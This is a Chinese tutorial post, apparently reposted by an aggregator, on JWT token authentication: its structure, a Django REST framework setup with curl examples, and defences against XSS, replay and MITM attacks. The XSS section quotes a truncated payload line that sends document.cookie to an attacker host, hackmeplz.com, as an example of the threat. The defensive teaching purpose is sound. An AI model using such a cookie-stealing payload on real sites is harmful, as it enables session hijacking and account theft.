jwt重放攻击_【干货分享】基于JWT的Token认证机制及安全问题
一步一步教你基于JWT的Token認證機制實現,以及如何防范XSS攻擊、Replay攻擊和中間人攻擊。
文章目錄
一、幾種常用的認證機制
1.1 HTTP Basic Auth
HTTP Basic Auth簡單點說明就是每次請求API時都提供用戶的username和password,簡言之,Basic Auth是配合RESTful API 使用的最簡單的認證方式,只需提供用戶名密碼即可,但由于有把用戶名密碼暴露給第三方客戶端的風險,在生產環境下被使用的越來越少。因此,在開發對外開放的RESTful API時,盡量避免采用HTTP Basic Auth。
1.2 OAuth
OAuth(開放授權)是一個開放的授權標準,允許用戶讓第三方應用訪問該用戶在某一web服務上存儲的私密的資源(如照片,視頻,聯系人列表),而無需將用戶名和密碼提供給第三方應用。
OAuth允許用戶提供一個令牌,而不是用戶名和密碼來訪問他們存放在特定服務提供者的數據。每一個令牌授權一個特定的第三方系統(例如,視頻編輯網站)在特定的時段(例如,接下來的2小時內)內訪問特定的資源(例如僅僅是某一相冊中的視頻)。這樣,OAuth讓用戶可以授權第三方網站訪問他們存儲在另外服務提供者的某些特定信息,而非所有內容
下面是OAuth2.0的流程:
這種基于OAuth的認證機制適用于個人消費者類的互聯網產品,如社交類APP等應用,但是不太適合擁有自有認證權限管理的企業應用;
1.3 Cookie Auth
Cookie認證機制就是為一次請求認證在服務端創建一個Session對象,同時在客戶端的瀏覽器端創建了一個Cookie對象;通過客戶端帶上來Cookie對象來與服務器端的session對象匹配來實現狀態管理的。默認的,當我們關閉瀏覽器的時候,cookie會被刪除。但可以通過修改cookie 的expire time使cookie在一定時間內有效;
1.4 Token Auth
1.4.1 Token Auth的優點
Token機制相對于Cookie機制又有什么好處呢?支持跨域訪問: Cookie是不允許垮域訪問的,這一點對Token機制是不存在的,前提是傳輸的用戶認證信息通過HTTP頭傳輸。
無狀態(也稱:服務端可擴展行):Token機制在服務端不需要存儲session信息,因為Token 自身包含了所有登錄用戶的信息,只需要在客戶端的cookie或本地介質存儲狀態信息。
更適用CDN: 可以通過內容分發網絡請求你服務端的所有資料(如:javascript,HTML,圖片等),而你的服務端只要提供API即可。
去耦: 不需要綁定到一個特定的身份驗證方案。Token可以在任何地方生成,只要在你的API被調用的時候,你可以進行Token生成調用即可。
更適用于移動應用: 當你的客戶端是一個原生平臺(iOS, Android,Windows 8等)時,Cookie是不被支持的(你需要通過Cookie容器進行處理),這時采用Token認證機制就會簡單得多。
CSRF:因為不再依賴于Cookie,所以你就不需要考慮對CSRF(跨站請求偽造)的防范。
性能: 一次網絡往返時間(通過數據庫查詢session信息)總比做一次HMACSHA256計算 的Token驗證和解析要費時得多。
不需要為登錄頁面做特殊處理: 如果你使用Protractor 做功能測試的時候,不再需要為登錄頁面做特殊處理。
基于標準化:你的API可以采用標準化的 JSON Web Token (JWT)。這個標準已經存在多個后端庫(.NET, Ruby, Java,Python,?PHP)和多家公司的支持(如:Firebase,Google, Microsoft)。
二、基于JWT的Token認證機制實現
JSON Web Token(JWT)是一個非常輕巧的規范。這個規范允許我們使用JWT在用戶和服務器之間傳遞安全可靠的信息。
2.1 JWT的組成
一個JWT實際上就是一個字符串,它由三部分組成,頭部、載荷與簽名。形式為:
A.B.C
2.1.1 頭部(Header)
JWT需要一個頭部,頭部用于描述關于該JWT的最基本的信息,例如其類型以及簽名所用的算法等。這也可以被表示成一個JSON對象。
{“typ”: “JWT”,”alg”: “HS256”}
在頭部指明了簽名算法是HS256算法。
當然頭部也要進行BASE64編碼,編碼后的字符串如下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
2.1.2 載荷(Payload)
{ “iss”: “Online JWT Builder”, ??“iat”: 1416797419, ??“exp”: 1448333419, ??“aud”: “www.example.com”, ??“sub”: “jrocket@example.com”, ??“GivenName”: “Johnny”, ??“Surname”: “Rocket”, ??“Email”: “jrocket@example.com”, ??“Role”: [ “Manager”, “Project Administrator” ] }iss: 該JWT的簽發者,是否使用是可選的;
sub: 該JWT所面向的用戶,是否使用是可選的;
aud: 接收該JWT的一方,是否使用是可選的;
exp(expires): 什么時候過期,這里是一個Unix時間戳,是否使用是可選的;
iat(issued at): 在什么時候簽發的(UNIX時間),是否使用是可選的;
其他還有:nbf (Not Before):如果當前時間在nbf里的時間之前,則Token不被接受;一般都會留一些余地,比如幾分鐘;是否使用是可選的;
將上面的JSON對象進行[base64編碼]可以得到下面的字符串。這個字符串我們將它稱作JWT的Payload(載荷)。
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
一個最基本最簡單最常用的payload為:
{
“user_id” => 123456, #用戶id,表明用戶
“iat” => 1356999524, #token發布時間
“exp” => 1556999524, #token過期時間
}
2.1.3 簽名(Signature)
將上面的兩個編碼后的字符串都用句號.連接在一起(頭部在前),就形成了:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0
最后,我們將上面拼接完的字符串用HS256算法進行加密。在加密的時候,我們還需要提供一個密鑰(secret)。如果我們用mystar作為密鑰的話,那么就可以得到我們加密后的內容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
最后將這一部分簽名也拼接在被簽名的字符串后面,我們就得到了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
在我們的請求URL中會帶上這串JWT字符串:
https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM也可以在http頭中加Authorization頭或在cookie帶上
2.2 認證過程
下面我們從一個實例來看如何運用JWT機制實現認證:
2.2.1 登錄第一次認證:第一次登錄,用戶從瀏覽器輸入用戶名/密碼,提交后到服務器的登錄處理的Action層(Login Action);
Login Action調用認證服務進行用戶名密碼認證,如果認證通過,Login Action層調用用戶信息服務獲取用戶信息(包括完整的用戶信息及對應權限信息);
返回用戶信息后,Login Action從配置文件中獲取Token簽名生成的秘鑰信息,進行Token的生成;
生成Token的過程中可以調用第三方的JWT Lib生成簽名后的JWT數據;
完成JWT數據簽名后,將其設置到COOKIE對象中,并重定向到首頁,完成登錄過程;
2.2.2 請求認證
基于Token的認證機制會在每一次請求中都帶上完成簽名的Token信息,這個Token信息可能在COOKIE中,也可能在HTTP的Authorization頭中;
客戶端(APP客戶端或瀏覽器)通過GET或POST請求訪問資源(頁面或調用API);
認證服務作為一個Middleware HOOK 對請求進行攔截,首先在cookie中查找Token信息,如果沒有找到,則在HTTP Authorization Head中查找;
如果找到Token信息,則根據配置文件中的簽名加密秘鑰,調用JWT Lib對Token信息進行解密和解碼;
完成解碼并驗證簽名通過后,對Token中的exp、nbf、aud等信息進行驗證;
全部通過后,根據獲取的用戶的角色權限信息,進行對請求的資源的權限邏輯判斷;
如果權限邏輯判斷通過則通過Response對象返回;否則則返回HTTP 401;
2.3 對Token認證的五點認識
對Token認證機制有5點直接注意的地方:一個Token就是一些信息的集合;
在Token中包含足夠多的信息,以便在后續請求中減少查詢數據庫的幾率;
服務端需要對cookie和HTTP Authrorization Header進行Token信息的檢查;
基于上一點,你可以用一套token認證代碼來面對瀏覽器類客戶端和非瀏覽器類客戶端;
因為token是被簽名的,所以我們可以認為一個可以解碼認證通過的token是由我們系統發放的,其中帶的信息是合法有效的;
三、JWT的Django REST framework實現
3.1 前置條件Python (2.7, 3.3, 3.4, 3.5)
Django (1.8, 1.9, 1.10)
Django REST Framework (3.0, 3.1, 3.2, 3.3, 3.4, 3.5)
3.2 下載安裝
pip install djangorestframework-jwt
3.3 實例解析
3.3.1 settings.py
3.3.2 urls.py
3.3.3 views.py
3.3.4 請求與返回結果
3.3.4.1 登錄
請求:
curl -X POST -d “username=admin&password=password123”?http://localhost:8000/login/
返回:
{“status”:”authentication successfully.”,”token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTAwNSwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.l6QPg6iUpXXiJ0II7RqYiRunRXu10SikdU8IjirDDqA”}
3.3.4.2 獲取token
請求:
$ curl -X POST -d “username=admin&password=password123”?http://localhost:8000/api-token-auth/
或
$ curl -X POST -H “Content-Type: application/json” -d ‘{“username”:”admin”,”password”:”password123″}’?http://localhost:8000/api-token-auth/
返回:
{“token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU2OTIsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTI5MiwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.XJ5xYY0xeb3TDqGMBRPGdU3s_UBn7SWcJIR2emLB0j0″}
3.3.4.3刷新token
請求:
$ curl -X POST -H “Content-Type: application/json” -d ‘{“token”:””}’?http://localhost:8000/api-token-refresh/
curl -X POST -H “Content-Type: application/json” -d ‘{“token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTAwNSwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.l6QPg6iUpXXiJ0II7RqYiRunRXu10SikdU8IjirDDqA”}’ http://localhost:8000/api-token-refresh/
返回:
{“token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTM3MCwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.MyhFTXbGBmuh3APQjbeZbRM4e64VN1MvcfumfNSXuOg”}
3.3.4.4 驗證token
請求:
$ curl -X POST -H “Content-Type: application/json” -d ‘{“token”:””}’ http://localhost:8000/api-token-verify/
返回:
{“token”:”. . . .”}
3.3.4.5 訪問受保護的urls
請求:
$ curl -H “Authorization: JWT ” http://localhost:8000/protected-url/
curl -H “Authorization: TOKEN eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTAwNSwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.l6QPg6iUpXXiJ0II7RqYiRunRXu10SikdU8IjirDDqA” http://localhost:8000/example/
返回:
{“user”:”admin”,”auth”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTAwNSwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.l6QPg6iUpXXiJ0II7RqYiRunRXu10SikdU8IjirDDqA”}
3.4 源碼
3.4.1 獲取token
3.4.2 驗證token
3.4.3 刷新token
四、基于JWT的Token認證的安全問題
4.1 確保驗證過程的安全性
如何保證用戶名/密碼驗證過程的安全性;因為在驗證過程中,需要用戶輸入用戶名和密碼,在這一過程中,用戶名、密碼等敏感信息需要在網絡中傳輸。因此,在這個過程中建議采用HTTPS,通過SSL加密傳輸,以確保通道的安全性。
4.2 如何防范XSS Attacks
瀏覽器可以做很多事情,這也給瀏覽器端的安全帶來很多隱患,最常見的如:XSS攻擊:跨站腳本攻擊(Cross Site Scripting);如果有個頁面的輸入框中允許輸入任何信息,且沒有做防范措施,如果我們輸入下面這段代碼:
a.src=’https://hackmeplz.com/yourCookies.png/?cookies=’+document.cookie;return a}())”
這段代碼會盜取你域中的所有cookie信息,并發送到 hackmeplz.com;那么我們如何來防范這種攻擊呢?XSS攻擊代碼過濾
移除任何會導致瀏覽器做非預期執行的代碼,這個可以采用一些庫來實現;如果你是將用戶提交的字符串存儲到數據庫的話(也針對SQL注入攻擊),你需要在前端和服務端分別做過濾;采用HTTP-Only Cookies
通過設置Cookie的參數:HttpOnly;Secure 來防止通過JavaScript 來訪問Cookie;
4.3 如何防范Replay Attacks
所謂重放攻擊就是攻擊者發送一個目的主機已接收過的包,來達到欺騙系統的目的,主要用于身份認證過程。比如在瀏覽器端通過用戶名/密碼驗證獲得簽名的Token被木馬竊取。即使用戶登出了系統,黑客還是可以利用竊取的Token模擬正常請求,而服務器端對此完全不知道,以為JWT機制是無狀態的。
幾種常用做僅供參考:縮短token的有效時間;
限制token的使用次數? (如果這樣,需要記錄已生成的token)
4.4 如何防范MITM (Man-In-The-Middle)Attacks
所謂MITM攻擊,就是在客戶端和服務器端的交互過程被監聽,比如像可以上網的咖啡館的WIFI被監聽或者被黑的代理服務器等;
針對這類攻擊的辦法使用HTTPS,包括針對分布式應用,在服務間傳輸像cookie這類敏感信息時也采用HTTPS。
五、參考
總結
以上是生活随笔為你收集整理的jwt重放攻击_【干货分享】基于JWT的Token认证机制及安全问题的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 用上游戏本同款技术!联想小新Pro 16
- 下一篇: 自然哲学的数学原理_物理起源点,牛顿《自